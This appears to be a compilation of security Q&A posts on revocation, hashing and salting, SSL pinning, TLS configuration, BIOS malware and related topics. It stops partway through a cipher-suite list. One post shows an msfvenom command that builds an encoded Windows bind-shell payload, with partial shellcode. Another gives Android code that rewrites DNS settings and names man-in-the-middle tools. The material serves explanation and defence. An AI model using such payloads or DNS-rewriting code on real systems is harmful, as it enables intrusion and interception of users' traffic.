Security and authentication problem We have a sample scenario and we would like to receive some feedback and some solutions regarding possible security schemes.

First of all, lets imagine a real world scenario:

Imagine that a user owns a locker in a university (owners) and the cleaners have the keys for every locker (encrypted data) in the university (authorized users). Additionally, the other students (public) are able to read the labels with the name of each locker owner. (unencrypted data).

Now, imagine that a malicious user steals the keys of all lockers from a cleaner. What is the best solution in order to invalidate the compromised key without changing the actual locks of the lockers (without the requirement to decrypt and re-encrypt the owners data as it is read only)?

Please keep in mind that the whole security scheme should apply while the owners and the autorized users operate offline.

You are entering the murky area of revocation. Basically, you want to have a system which "works" but with a cancel switch which says: even though everything looks legit with cryptography and everything else, don't open.

If your system is completely offline, there is no solution. A "cleaner" has the power to open all the lockers; he cannot lose this power if everything is offline because the information about the hijack of the cleaner state (theft of his keys) cannot enter a totally offline system, since it comes "from the outside". To solve your problem, you necessarily need an at least intermittent network.

The usual solution, for instance in X.509, is to have short-lived signed objects which declare that "for now, everything is fine". In your cleaner/locker analogy:

Each locker has a clock and knows the current date and time.
Every morning, the cleaner goes to the main cleaning office and shows his face and keys to an officer who verifies that the cleaner is indeed legit and allowed access; the officer then gives to the cleaner a signed "access token" which says "cleaner X is allowed access up to March 8th, 23:00 UTC".
When the cleaner wants to open a locker, he must insert his key and the access token. The locker verifies the signature from the officer, and also that the access token is not yet expired.

In X.509, the "access token" is a CRL or OCSP response. Details vary on how the objects are brought to the validator (here, the locker). In the analogy above, the "intermittent network" is the central office; this is the point where the system is transiently "online". Alternatively, signed access tokens could be distributed to lockers proactively by someone else.

A cornerstone is that validators MUST have a reliable time source, for a suitable notion of time (you don't necessarily need much in terms of precision and accuracy).


API credentials visible when creating Github pages website? I am in the planning stages of creating a rmarkdown website and publishing it using Github pages. The actual content of the website will be a
flexdashboard or a Shiny app(still deciding). Regardless, I want to be able to use publicly available APIs in this application. Some of these APIs require public and private (or secret) keys to access. I obviously would prefer to not have my secret keys displayed in the source code on Github. Is there a way around this that does not involve purchasing a private Github account? I am sure people have run into this issue in the past, but I have not been able to find a sufficient answer. I am not well-versed to application security whatsoever, so any help would be appreciated.

GitHub Pages is designed for hosting public websites, and it's great at doing that.  But as soon as you want to start keeping certain things private, it falls apart as an option pretty quickly.  Even if you have a private repo, GitHub will still serve all the files to the public - no authentication needed.

For this sort of situation, you want to use something other than GitHub Pages.  Which service specifically is not in scope here, but any hosting service that gives you a bit more control will work; you'll just need to run the Jekyll build process yourself and then publish the resulting HTML to your host.


Decrypting SHA-256 with known plain text If i have a SHA-256 hash and I know what could be the crypted string is it possible to decode it faster?

Lets say I know the string is formed like this : %d-%d-%d-%s
%d being numbers from 1-25
%s being a random string.

Is it possible to decode the numbers?

No. SHA-256 is hashing not encryption. It's irreversible. You may however be able to try all available inputs and see if any of your known hashes matches one of the computed hashes. There is no other way than this "brute force" approach.


How does the NOP sled work with MSFVenom? I'm generating payloads with MSFVenom and here's a sample output:

user@localhost:~ $ msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d\x20' -i 3 -n 200 -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai succeeded with size 382 (iteration=1)
x86/shikata_ga_nai succeeded with size 409 (iteration=2)
Successfully added NOP sled from x86/opty2
buf =  ""
buf += "\xb1\xbb\x92\xb5\xba\x3d\xb3\x7f\x78\x75\x3f\xa8\x70"
buf += "\x7e\x7f\x78\x73\x76\x7d\x79\x71\x72\x08\xe2\x3d\x89"
...
buf += "\xd7\x7d\x08\xa6\xbf\x4d\x40\x33\xd1\x3c\x45\x60\x0c"
buf += "\xfe\x3e\xbc\x2f\x68\x12\x79\x54\xe1\x52\x49"

In this case  the -n 200 option is to append a 200 byte NOP slep, but it's not visible in the payload. I'm guessing it's using some kind of encoding for the NOP sled (is that what Successfully added NOP sled from x86/opty2 means?)

What I'm trying to understand: the purpose of a NOP sled is to slide into the shellcode, if the NOP sled needs to be decoded first, does that not beat the point? What is the advantage here?

EDIT:

Here's a sample output without the -n 200. I don't understand how this could be the same total length.

user@localhost:~ $ msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d\x20' -i 3 -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai succeeded with size 382 (iteration=1)
x86/shikata_ga_nai succeeded with size 409 (iteration=2)
buf =  ""
buf += "\xda\xdf\xba\x09\x7e\x1f\x39\xd9\x74\x24\xf4\x58\x2b"
...
buf += "\xab\xbe\x3e\x2e\x12\xf8\x76\xb1\xad\x34\x21\x43\x21"
buf += "\xd8\xe1\xf8\x2e\x3d\x5b"

The only difference is the lack of the line
 Successfully added NOP sled from x86/opty2

Your NOP sled is there, it's just encoded. If you compare the actual end output, you can see that the 2 buffers are different lengths if you don't use a sled.

The line: 86/shikata_ga_nai succeeded with size 355 indicates the size of the main payload before the appending of the sled, so that reported size will not differ with or without a sled.


Is it possible to implement secure ssl pinning implementation for without server side validation? It is known fact that in android there are couple of tools which can bypass ssl pinning such as Justtrustme, Android-SSL-TrustKiller. In iOS there are ios-SSL-Killswitch.

I had 3 options to implement ssl pinning in my application.

Using a simple HttpsURLConnection with a PinningTrustManager
Using a simple HttpClient with a PinningTrustManager
Working with PinningTrustManager and PinningSSLSocketFactory more
directly

I tried all 3 options however it was possible to bypass these mechanism. I found that last option was bit secure compare to other two as few tools did not able to bypass but one did.

Here is my pseudo code example for pinning.

           // Get an instance of the Bouncy Castle KeyStore format
           KeyStore trusted = KeyStore.getInstance("BKS");
           // Get the raw resource, which contains the keystore with
           // your trusted certificates (root and any intermediate certs)
           InputStream   in = getResources().openRawResource(R.raw.key);
           try {
               // Initialize the keystore with the provided trusted certificates
               // Provide the password of the keystore
               trusted.load(in, KEYSTORE_PASSWORD);
           } finally {
               in.close();
           }

           String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
           TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
           tmf.init(trusted);

Is there any secure solution of at least the best available solution for implementation?

No, there is no  secure solution. All the mentioned tools that bypass SSL certificate pinning depending on root access.

If the phone is rooted/jailbroken there is no way for an app to enforce anything. As your application is only a piece of software running on that system, the person who owns the system (and that is the user on jailbroken/rooted devices) can always bypass your security mechanisms. The only thing you can do is to make the live of the person who wants to disable SSL certificate pinning harder. One way is to use a jailbreak/root detection and block jailbroken/rooted devices.


Does sending hashed password over url path parameter secure? I need to create WebSocket authentication mechanism without using ticketing, so the whole authentication needs to be performed via HTTP (over SSL) GET request which is sent to upgrade connection to WebSocket (code snippet used to handle upgrade in NodeJS).
The problem lays in GET request which is not supposed to be used in authentication (mentioned here and here). I would need to send password via path or query parameters in URL e.g. wss://example.com/username/password123 and then validate it on server side.
My idea is to encrypt the password on client side with Argon2 (using salt) and then send it with WebSocket upgrade request (GET) over HTTPS as url path parameter to the server which will validate it with database entry. I know that this question is similar to this one, but it doesn't cover password encryption. Is that enough to say that it's a good and secure approach?
Thanks for help.

Not really a direct answer, but way too long to be a comment.
I once had to design a system where I had to securely authenticate over a plain HTTP (not HTTPS) connection using an insecure network. And I finally ended with a manual implementation of a Diffie–Hellman key exchange using asymetric crypto tools. BTW after the authentication phase, the shared secret was used to crypt and sign the packets (and the packets were of course numbered)
The rationale is that:

it only used well known secure implementations (at library level) - roll you own is highly dangerous in security, because the devil hides in the details
no secret was ever transmitted in clear text
the protocol was by construction immune to replay attacks

My conclusion was that Diffie-Helman was not used by accident in TLS...
It is slighty more complex to implement than directly sending a secret, and only makes sense if you cannot trust an underlying TLS layer to protect the exchange, but for having implemented it, it is not that hard once you can find a nice crypto library.
BTW, if you want to be super-safe, ephemeral Diffie-Helman allows Forward Secrecy and is easily implemented with good crypto libraries.


Pen Testing Practice Box? Are there any windows based pen testing vms out there similar to Metasploitable based on ubuntu?

Just starting to learn hacking and such a box would be very helpful.

You can't distribute a windows VM legally.  But a windows XP SP1 machine or a windows NT4 machine would be ideal. NT4 is no longer supported by Microsoft and there for contains numerous unpatched vulnerabilities.   Even a windows 7 machine without patches could be exploited though an IE exploit.


How do unzip programs check if the password is correct? It obviously doesn't connect with any sort of database.
How is this even possible?

Thinking of it as "password protection" slightly misrepresents the actual situation.

What happens when you password-protect a zip file is that the archive is encrypted using a symmetric algorithm (same key to encrypt and decrypt) using the password as the key.

The unzipper program "checks" whether the key is correct the same way I check whether the key to my front door is correct: If it opens the lock, it was the correct key.

So in this case the unzipper attempts to decrypt the data using the password you provide, and if the output is a properly structured archive, it was the correct password.

(I'm skipping the whole cryptography debate WRT collisions and possible duplicate keys for now; this is about how the concept works in theory rather than a specific implementation that may or may not have flaws)

EDIT: As user MobyDisk points out in comments, in the case of Zip specifically, the structure and the file tree are not encrypted, just the files themselves, as well as checksums for each file. If the password you use decrypts the file, and the decrypted checksum matches, you had the right password.


Do websites outside of the EU need to consider GDPR? There are a lot of items in the GDPR that I am a fan of. Mandatory unsubscribe links are the best thing to happen to my inbox since I started using email.

But there is one thing in particular I've loathed the policy for:

Cookie consent dialogues.

As I understand them, cookies are sent regardless of the user's response - they are built into the web![1] The only way to turn them off is at the browser level - the website can't do anything about it even if the user clicks "no". They're yet another thing I have to click on to see whatever I'm there to see, and usually they're invasive. In short, they offer no benefit and are a UX disaster.

Are there legal implications for a publicly available website which uses cookies for authentication?
Are there any sane alternatives to cookies when it comes to authentication so that I don't need to use them?

[1] By this I mean once you've set a cookie, it's there. You can't control that it's going to be sent back to you. So if you were implementing these protections after the site has been live, then it doesn't matter whether or not you ask for this consent because by the time you see the dialogue, they've already been sent. The other scenario I was considering was shared subdomains.

they are built into the web!

No they are not.

The WWW defines functionality - but its use is optional. It is a convenient and well understood mechanism for supporting sessions over a stateless protocol, but are a cornerstone of monetization.

  Are there legal implications [arising from the GDPR] for a publicly available website

For a website run by EU based operators - yes.

For a website trading within the EU yes - yes

For everything else - ask a lawyer.

  Are there any sane alternatives to cookies when it comes to authentication

Cookies are not used for authorization - they are used for session maintainance - i.e. associating subsequent requests with a previous authentication.

But leaving that aside for now, yes - there's http authentication, client certificates, many roll-your-own-cookie implementations using other client persistence mechanisms and Javascript, device fingerprinting, various flavours of evercookies... But as a user of a service you don't get to choose.

Further, if you read the original articles, the guidance relating to EU Data Privacy - even the legislation prior to GDPR, you will be aware the references to "Cookies" are a translation to a terminology people will be more familiar with. The law applies to any persistent data placed on the client. If a website wants to use the window name to store a session id, then it needs informed, opt-in consent from the user to do so.


Android Apps accessing DNS settings? I have my android device rooted, and only one RootTool app (Which is fairly popular and seems trust worthy to me, and which I use to tweak the phone) with root access. And I remember correctly setting the DNS settings to OpenDNS. While sorting out a network issue, Checked My DNS settings , and they were modified.

It turned out that a Video player app caused this change, along with some wierd advertisement in notification bar. After uninstalling that app, I found the market littered with similarly named video player apps, all claimed no root access , but access to device settings.

Two questions:

Is DNS really an ordinary android setting ? I doesn't appears in settings menu. Can any app without root access this ?
How dangerous is your address look-up pointed to an unknown server ?

It is actually possible to set your DNS servers in the phone's UI, by choosing a static IP in the advanced network connections settings. According to a question on StackOverflow, these settings can be programmatically altered as long as the WRITE_SETTINGS permission is set, using the following code:

android.provider.Settings.System.putString(getContentResolver(), android.provider.Settings.System.WIFI_USE_STATIC_IP, "0");
android.provider.Settings.System.putString(getContentResolver(), android.provider.Settings.System.WIFI_STATIC_DNS1, "192.168.0.2");
android.provider.Settings.System.putString(getContentResolver(), android.provider.Settings.System.WIFI_STATIC_DNS2, "192.168.0.3");
android.provider.Settings.System.putString(getContentResolver(), android.provider.Settings.System.WIFI_STATIC_GATEWAY, "192.168.0.1");
android.provider.Settings.System.putString(getContentResolver(), android.provider.Settings.System.WIFI_STATIC_NETMASK, "255.255.255.0");
android.provider.Settings.System.putString(getContentResolver(), android.provider.Settings.System.WIFI_STATIC_IP, "1");

If you have USB Debugging enabled, the settings can also be changed by software on your PC, without any permission requirements or user interaction.

Onto the second part of your question: yes, this is most definitely a security concern. If an app sets your DNS server to a rogue server, it can redirect traffic to any IP address it wishes, facilitating a man-in-the-middle attack. Combined with tools like BeEF, sslstrip and sslsniff, it's almost trivial to completely spoof your browsing experience.


Receiving S/MIME signed emails with Gmail When I receive an email signed (not encrypted) with S/MIME in my Gmail account, it provides me no option of verifying the signature when I'm using the webmail interface. Which is fine, I have made peace with that. However,  when I open the signed email (in my Gmail account) on my iPhone, it also doesn't show the checkmark next to the sender's name, which it does for signed email received in my Exchange account.

What's going on there? Is Gmail actively stripping the attached certificate so that my iPhone can't use it? Any ideas? Thanks!

Gmail mangles S/MIME signed only messages. Before 2017 it was done for multipart/signed from summer 2017 it has started for signed-data as well.

Looks like it's done in a favor of G Suite subscribers and there is no hope that Gmail team will fix it.
https://productforums.google.com/forum/?utm_medium=email&utm_source=footer#!msg/gmail/RUBO_qtA5nM/FclopwMZBAAJ


Can USB drive infect my PC with malware if I don't allow any autorun.inf to run? Assuming that I'm using a trusted USB flash drive (meaning that it's not some device that looks like a USB drive and whose purpose is to damage my PC), is it possible for my PC to get infected from some malware picked up by the USB if I'm running an antivirus program that doesn't allow any autorun.inf files to run from the USB drive? I have two PCs, one running Windows 10 and the other running Windows 8.1.

Short answer: YES

You can be infected even with a full patched Windows system and an updated antivirus. This happened before and can happen again.

A few years ago, the Stuxnet worm was specially engineered to attack the Iranian nuclear facilities. They got hit by using infected USB drives, without autorun.inf or executing anything by hand.

Those vulnerabilities are called zero day. The attacker knows it, but the vendor and antivirus companies does not. But those vulnerabilities are very prized, and will not be used on a low-value target, because as soon as the attack is detected, it's not a zero-day anymore.

If you are not a high-value target, you usually don't have to worry about being hit by a zero-day. Usually you will get hit by an social engineering attack, and probably will step onto the trap by yourself, like opening an executable file with the icon of a pdf or a picture...


Need a leniant browser for captive portals (WiFi and LAN) I'm currently working from a customer LAN which is "protected" through authentication through captive-portal-like technology.

In theory, first thing you do in the morning is click on some URL, get the loging form spoofed by the captive portal and authenticate to the network (and then get on with work and other non-transparent-proxy frustrations).

Of course all these 'clever' captive portal techniques (read MITM attack) are easily detected by today's browsers and most of the time, the login form never shows up and all you get is a timeout.

Browsers occasionaly report self-signed certificates or bad SSL packet (TLS 1.0 I guess).  But it also looks like my company AV (Symantec) is not even giving browsers a chance.

I wonder if I could pass this hurdle with some kind of older version of some browser I'd use only for the purpose of login in.  Surely I'm not the only one stumbling on this issue.  Any suggestion?

Edit 1

Thanks all for all suggestions (+1'd).  Here is the progress so far.

The VPN is Cisco AnyConnect. There is no difficulty accessing the VPN from its public (Internet) leg.  I'm using OpenConnect on Mint. All OK but slooow.
When on the faster company LAN, however, several hurdles come into play.  Access to the LAN is guarded by a Cisco Product named ISE (Identity Services Engine) version 1.0.
From a user's perspective, this ISE works like a captive portal, spoofs DNS requests, redirects to a portal that authenticates (radius) and apparently also uses TLSv1.  Browsers are unimpressed. OpenConnect also complains (can I tell OC to be more leniant?).  Also OCSP times out because servers can't be reached.

I'm planning to script all that stuff with python and requests to go through all steps in a controlled sequence and check each step's execution. I initially thought capturing 'curled' requests in Google Chrome developer tools would suffice, but the infra seems very shaky and python+requests looks more promissing than curl+bash.  To spice things up a bit, there is non transparent proxy.

Use a throw-away domain you don't mind the captive portal knowing (I use redirect.me.away) and when you get the certificate error for it just accept the certificate. The browser will pin that domain with the (untrusted) certificate so you won't get errors about it next time.

Finally, consider using mobile broadband instead of this nonsense, and make sure to let whoever is responsible for it how much their network sucks (most of the time they buy into off-the-shelf overpriced crap from scammy service providers because they don't know better, so if enough people complain it may encourage deployment of actually good solutions, like WPA2-Enterprise or Hotspot 2.0)


Feasibility of infecting notebook BIOS with virus? I bought my computer in 2011.
From 2011 to 2015 the computer was accessible to a cousin of mine who is a developer. He doesn't work with IT security, but has more than a decade of experience programming.

I have reasons to believe he might have installed some monitoring software on my computer, around 2011-2015, when he had physical access to the device.
My cousin is very manipulative and always envied me. A friend of my parents strongly implied to me they at least one time searched my computer to see what I was doing. But if they installed something, I always thought it would be software only.

Since then, I have reinstalled the OS (Ubuntu) a few times and I also replaced my HDD. So, keyloggers or other malicious software are not a problem. What I am thinking is an infected BIOS or other hardware.

How easy is to an experienced developer to develop (or to acquire) a BIOS or hardware virus to target a single computer?
Should I throw away my computer? Just flashing the bios again will be good enough?

I already read a lot of answers about BIOS virus and how it is not worth the trouble because every single manufacturer will have its own design etc. But I'm thinking about someone trying to access a specific computer, not a wide attack.

It is feasible. It is true that the BIOS requires a very "low level" or deep understanding of machine code and the actual hardware systems themselves. It's possible he could have written one... but much more likely he could have -found- one and installed it.

Wipe/reinstall the BIOS. This may or may not be possible based on your vendor. If you can fully re-install, do it. Also, most likely if you do have something, it calls files on the drive. Check out this article: https://www.theregister.co.uk/2011/09/14/bios_rootkit_discovered/

-Then do not turn it on- Take the hard drive out and put it in another computer and wipe it. Do not boot from it.  Then reinstall ubuntu. It is possible that the virus will re-install to the bios from the hard drive.

But before all of that, if you think your computer is being "monitored" I would highly suggest reviewing your outbound connections. It will have a "shell" that calls out to some server on the internet to give the info to the monitoring computer. Monitor these outbound connections and if you can verify them all, you're probably fine. https://kb.iweb.com/hc/en-us/articles/230267788-Detecting-Malicious-Processes-in-Linux

Also that's an old computer; might be time for an upgrade anyway. Piece of mind is nice.


Apache 2.2 mod_ssl configuration Forward Secrecy/BREACH/BEAST/CRIME I am looking for mod_ssl configuration which protects against common attacks like Breach, Beast and Crime. I already disabled gzip to avoid Crime but I'm unsure about the others.
RC4 should only be available to mitigate Beast.

Furthermore I am looking for a proper forward secrecy if possible.

This is a part of my current SSL vhost

SSLProtocol all -SSLv2
SSLHonorCipherOrder on

<Location />
    SetEnv no-gzip
</Location>

SSLCipherSuite "EECDH+AESGCM EDH+AESGCM EECDH -RC4 EDH -CAMELLIA -SEED !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS !RC4"

Here are some hints regarding where to find more information on SSL-setups and attack-mitigations: Ciphers depend on the OpenSSL version running on your server:

SSL Labs: Deploying Forward Secrecy
Configuring Apache, Nginx, and OpenSSL for Forward Secrecy
Mozilla: Security/Server Side TLS
SSL - Attack - mitigations


Can the Host Header be used to hide the existence of a service? Imagine a web server running on 93.184.216.34, usually reachable via the public DNS entry example.com. Web servers usually allow the distinction of multiple "virtual" servers, based on the Host header received via the HTTP request.

Now imagine the same web server would offer a different service when requested via cx6wdffpuik997eljf6d878i6f3np4207ne30vyjsvhpra69, which was not a public DNS entry, but rather done via a local DNS server or a modified hosts file.

Would this effectively hide the existence of the hidden service? Is this done in practice?

Note: I am aware that this alone should not be used to secure the service. Authentication via client-certificates would be done in addition.

The only way to determine the other name based virtual host on the same IP address is to perform forward lookups to all domains and see the A records with the same IP addess. Only after that it's possible to see whether the server is responding to all these hostnames through the Host header or not, and is the reponse same for every hostname or are there different services.

Knowing that, it's indeed possible to hide a service like this, but it would still be security through obscurity. While someone might be using this, it has some disadvantages:

The secret hostname may leak by accident, which makes "the Host: header" a rather bad place for a password. This may be caused by:

A request through a 3rd party DNS service. It doesn't make this less bad at all that DNS is typically unencrypted and that it may be cached on multiple recursive servers.
If the hostname is on a public authoritative DNS server, it may be vulnerable to insufficient zone transfer restrictions or DNSSEC zone walking (possible with older NSEC records, fixed by NSEC3, RFC 5155 & RFC 6781, 5).
Server Name Indication (SNI, RFC 6066, 3) reveals the hostname, as it's part of unencrypted ClientHello on all TLS versions prior 1.3 (how encrypted SNI works).

Depending on how the hostname leaked you might still need to know which IP address to connect to, but that's merely a slow down.

The IP address would be hidden if the A record was only available on a DNS server on a private network, but that would make it hard to use the service outside the network: in that case it would be better to have the service on the private network, too.
If the IP address was on the local hosts file, it's still available on the IP packet header for anyone who could see your traffic on the network layer (L3). That would include anyone who already got the hostname by monitoring your DNS requests or SNI.

Difficulties with TLS implementation.

You won't get a certificate for an arbitrary fake address.
If it was a subdomain of your real domain...

A certificate issued for the subdomain would reveal the hostname through Certificate Transparency (e.g. https://crt.sh/?q=example.com)
e.g. Let's Encrypt requires it to be publicly available for the ACME challenge.

Suitable ways to circumvent this would be

an own internal certificate authority
a wildcard certificate *.example.com covering the "secret" subdomain.

Because it creates more problems than it solves, I wouldn't recommend it. Password protection with multifactor authentication and possible client certificates are better options, and hiding the location of the service doesn't really add much security over that.


Custom programming language, and translator that translate it to Java to make more difficult to get source I want to make my game extremely hard to decompile. So I've come up with the idea of a program which will contain my game's code, coded in a custom language, and which will translate that code into Java code during runtime. (So it's kind of like a virtual machine is running on top of Java's virtual machine, or at least the way I see it.)

In order to modify my game's code, the hacker would have to learn my custom language and create their own custom decompiler which would take some time. At least how I figure.

Is there any name for this kind of approach? Has it been done before? Is there a flaw I'm not seeing?

I'd say that the flaw in your reasoning is that you assume that any wannabe reverse-engineer would be interested in your source code. In fact, for reverse-engineering, attackers are interested in a "source code" form which allows for whatever goal the attacker is after, usually understanding a small piece of algorithm. The format for Java bytecode is sufficiently regular and simple that it can be managed directly for that kind of job.

So an attacker could simply run a disassembler (like this one) and possibly a corresponding assembler (like that one) to test his modifications or insert extra debugging calls. He can do that on the compiled .class files, regardless of whatever programming language you used on your side.

This is not new. People have been reverse-engineering C or C++ applications for decades, by looking at the assembly.


How are passwords stolen from companies if they only store hashes? Everywhere I look it says servers store passwords in hashed form, but then you have those breaking news about hackers stealing passwords from large companies. What am I missing?

There are two common failings, over and above letting the databases or files get stolen in the first place.

Unfortunately, and against all security recommendations, many systems still store plain text passwords.

Hashed passwords are technically not reversible, but as has been pointed out by others, it's possible to hash millions of password guesses then simply look for matches. In fact, what usually happens is that tables of pre-computed passwords and hashes (Rainbow Tables) are available and used to look for matches. A good rainbow table can support a high percentage match in fractions of a second per password hash.

Using a salt (an extra non-secret extension of the password) in the hash prevents the use of pre-computed rainbow tables.

Most compromisers depend upon rainbow tables. Computing their own hash set is certainly possible, but it's extremely time consuming (as in months or longer), so it's generally the vanilla hash that's vulnerable.

Using a salt stops rainbow tables, and a high round count of hashed hashes of hashes can make brute force transition from months to years or longer. Most institutions simply don't implement this level of security.


Why use random salts? I read this blogpost on how to store passwords in a database, the secure way. Elbert tells us to do this:

Generate a random salt and include something random and the username in it. Hash this.
Hash <hashed-salt><password> a lot times.
Store <hashed-salt><hash> in the database.
Regenerate the salt every time a user logs in.

Now, for checking if a password is okay:

Find the hashed salt in the database.
Hash <found-salt><password> a lot times.
Check if the value is the same as the hash you can find in the database.

I understand why this works. I do not understand why this is better than just hashing / salting a password. With this solution, the hashed-salt is in plaintext in the database, so when someone has access to the database, he has access to the hashed salt. Assuming he has access to the scripts as well, he can again perform a brute force attack. This brute force attack won't be fast, because we hashed a lot times, but still, that does not explain what the random salt adds in security relatively to salting with a constant word.

Why does using a random salt which can be found in the database add security over using a constant salt which can be found in the scripts?

"Why does using a random salt which can be found in the database add security over using a constant salt which can be found in the scripts?"

Because the "constant salt" (which would really be better called "pepper") is the same for all the password hashes, and therefore does not satisfy the primary purpose of a salt — ensuring that, even if two users have the same password, their hashes will be different.

In particular, let's say you have 1000 users, and that your user database with the password hashes gets stolen by an attacker.  Very likely, the attacker can also steal your scripts, and thus also the pepper included in them.  (This may not always be the case — for example, SQL injection attacks might compromise the database without necessarily compromising the application code — but you should not assume that it can't happen.)

To crack the password hashes, the attacker can then just guess random passwords by brute force (or, for a first pass, run through a list of common passwords), hash each of them with your fixed pepper and look the resulting hash up in a database of the stolen hashes.  Notably, they need to do this only once for each guessed password, just as if you hadn't used the pepper at all.

However, if you had instead used a unique salt, stored in the database, for each password hash (with or without the pepper as well), then hashing a guessed password with one of the salts and comparing the result with the stolen hash just tells the attacker whether that particular user was using that particular password.  Thus, the time needed to crack all the passwords (or to crack just any one or any n of them) is increased by a factor of 1000 (the number of users in your database).

Or, to look at it another way, not using a unique salt for each password hash in a 1000-user database makes the attacker's job 1000 times easier.  Even if you used, say, PBKDF2 with an iteration count of 1000 to slow down brute force attacks, well, guess what — not using unique salts just ate away any benefit you got from using PBKDF2.  Oopsie.

Now for the other part of your question, the article you linked to suggests a rather complicated method for choosing the salt:

$salt = hash('sha256', uniqid(mt_rand(), true) . 'something random' .
             strtolower($username));

Why so complicated, when the only property the salt really needs to satisfy is uniqueness?

Well, the salt really should not just be unique within your database, but globally unique, so that even an attacker with multiple stolen databases won't find cracking them any easier.  In some attack scenarios, it's also desirable for the salts to be unpredictable, so that an attacker can't start precomputing a password table before they've stolen your database, hopefully giving you more time to respond if you detect the breach.

A relatively simple way to achieve both of these goals is to make the salts sufficiently long and random (where sufficiently long means, say, at least 100 bits of entropy).  However, generating truly random salts can be kind of tricky, especially in PHP which, unfortunately, still lacks a standard portable method for obtaining cryptographically secure random numbers.

Thus, the example code you linked to appears to be going for a robust "belt and suspenders" approach: by concatenating several pieces of data of varying randomness and uniqueness and feeding them to a cryptographic hash function, we can be fairly sure that the output will be as unique and random as the sum of the inputs (up to limits imposed by the hash output length, anyway, which for a 256-bit hash like SHA-256 are basically infinite).  In particular, as long as at least one of the inputs is unique (resp. random), we can be essentially sure that the output will also be so.

As a general principle, this is a perfectly good and commendable approach to security.  One might quibble about the specific choice of inputs suggested in the article (and, in particular, about the lack of even any attempt to obtain true cryptographic randomness from sources like openssl_random_pseudo_bytes() or /dev/urandom on Unix systems), but at least the general design is sound.

In particular, note that the suggested inputs to the hash function include the following:

the username (although why it's lowercased, I have no idea), ensuring that all users on the system will have unique salts,
a hopefully unique per-system identifier (the "something random"), which should ensure that the same user will have different salts on different systems,
the current time (obtained via uniqid()), which ensures that a user will get a different salt every time they change their password, and
various other bits of (pseudo)randomness obtained via mt_rand() and uniqid(), which may introduce some unpredictability (and, at least in some hardened versions of PHP, possibly even some real randomness), and at least won't do any harm.


Are invalid card numbers under PCI compliance If a merchant sends an invalid card number to the bank, will the bank have to secure the information to be PCI compliant?

If a non-valid card was exposed, who is at risk and whose date has been exposed? Since its not a valid card, there is no "card holder".

In the intro the the PCI DSS 3.0:

  The Payment Card Industry Data Security Standard (PCI DSS) was
  developed to encourage and enhance cardholder data security and
  facilitate  the broad adoption of consistent data security measures
  globally. PCI DSS provides a baseline of technical and operational
  requirements  designed to protect cardholder data.

If it's an invalid code because the LUHN does not pass, it does not start with a valid bank identifier, it cannot be issued to a client. It's likely not on any piece of plastic with a card brand logo. PCI only applies to cards with a brand logo.

However, if the same source (merchant) can send both invalid and invalid cards, it would have to assume the card numbers are valid until checked, which means the normal encryption protections, etc would need to be followed. If for some reason you had a separate channel for invalid numbers, non-issuable test numbers, those should not fall under PCI, however, with everything in PCI, always check your friendly QSA.


JSSE recommended cipher suites In the wake of POODLE I am reviewing the configuration of a number of Tomcat servers running on the JSSE connector.

In order to work out what ciphers JSSE supported I wrote a little snippet that emitted all the available ciphers, the result was:

SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
SSL_DHE_DSS_WITH_DES_CBC_SHA
SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
SSL_DHE_RSA_WITH_DES_CBC_SHA
SSL_DH_anon_EXPORT_WITH_DES40_CBC_SHA
SSL_DH_anon_EXPORT_WITH_RC4_40_MD5
SSL_DH_anon_WITH_3DES_EDE_CBC_SHA
SSL_DH_anon_WITH_DES_CBC_SHA
SSL_DH_anon_WITH_RC4_128_MD5
SSL_RSA_EXPORT_WITH_DES40_CBC_SHA
SSL_RSA_EXPORT_WITH_RC4_40_MD5
SSL_RSA_WITH_3DES_EDE_CBC_SHA
SSL_RSA_WITH_DES_CBC_SHA
SSL_RSA_WITH_NULL_MD5
SSL_RSA_WITH_NULL_SHA
SSL_RSA_WITH_RC4_128_MD5
SSL_RSA_WITH_RC4_128_SHA
TLS_DHE_DSS_WITH_AES_128_CBC_SHA
TLS_DHE_DSS_WITH_AES_128_CBC_SHA256
TLS_DHE_DSS_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_128_CBC_SHA
TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DH_anon_WITH_AES_128_CBC_SHA
TLS_DH_anon_WITH_AES_128_CBC_SHA256
TLS_DH_anon_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_NULL_SHA
TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_NULL_SHA
TLS_ECDHE_RSA_WITH_RC4_128_SHA
TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDH_ECDSA_WITH_NULL_SHA
TLS_ECDH_ECDSA_WITH_RC4_128_SHA
TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
